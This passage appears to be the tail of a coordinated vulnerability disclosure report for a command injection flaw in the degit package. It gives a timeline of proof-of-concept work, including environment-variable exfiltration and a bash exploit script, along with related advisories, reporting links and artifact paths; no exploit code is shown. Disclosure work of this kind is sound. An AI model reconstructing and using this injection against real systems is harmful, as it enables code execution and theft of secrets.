}
return require('degit')(src, options).clone(dest);
}| Date | Event |
|---|---|
| 2026-04-25 | Vulnerability discovered via source code audit of degit v2.8.4 |
| 2026-04-25 | PoC 1 (exec simulation) confirmed — proof file created successfully |
| 2026-04-25 | PoC 2 (public API) confirmed — injection via degit() API confirmed |
| 2026-04-25 | PoC 3 (exfiltration) confirmed — env vars dumped to loot file |
| 2026-04-25 | Initial CVE research report (cve.md) authored |
| 2026-04-27 | Bash exploit (degit-exploit.sh) developed and tested |
| 2026-04-27 | Report submitted for CVE assignment |
| TBD | Vendor / security team acknowledgement |
| TBD | Patch released |
| TBD + 90d | Public disclosure (90-day coordinated disclosure policy) |
Coordinated Disclosure: Following Google Project Zero standard 90-day policy. Maintainer Rich Harris and major dependents (Svelte team) will be notified. If no patch in 90 days, full public disclosure proceeds.
- SNYK-JS-GITCLONE-1070836 — command injection in git-clone
- GHSA-vg6x-rcgg-rjx6 — command injection in node-netcat via exec()
- GitHub Security Advisory: https://github.com/Rich-Harris/degit/security/advisories/new
- Snyk Disclosure: https://snyk.io/vulnerability-disclosure
- MITRE CVE Form: https://cveform.mitre.org
| File | Description |
|---|---|
/home/amar/Desktop/degit/cve.md |
Initial CVE research report |
/home/amar/Desktop/degit/degitcve.md |
This document — full PoC submission |
/home/amar/Desktop/degit/cve_report.pdf |
PDF version of research report |
/home/amar/Desktop/degit/degit-exploit.sh |
Bash exploit script (4 modes) |
/home/amar/Desktop/degit/cve-research/poc/degit-rce-poc.js |
PoC 1 source |
/home/amar/Desktop/degit/cve-research/poc/degit-actual-poc.js |
PoC 2 source |
/tmp/degit_rce_proof.txt |
Proof artifact from PoC 1 |
/tmp/degit_fetchrefs_confirm.txt |
Proof artifact from fetchRefs path |
/home/amar/Desktop/degit/cve-research/poc/pwned.txt |
Proof artifact from PoC 2 |
Researcher: Amar Khatri — amarr.infosec@gmail.com, Mokksh Parekh - maparekh11@gmail.com All testing performed on researcher's own equipment. No production systems accessed. Responsible disclosure — 90-day coordinated policy. 2026-04-27.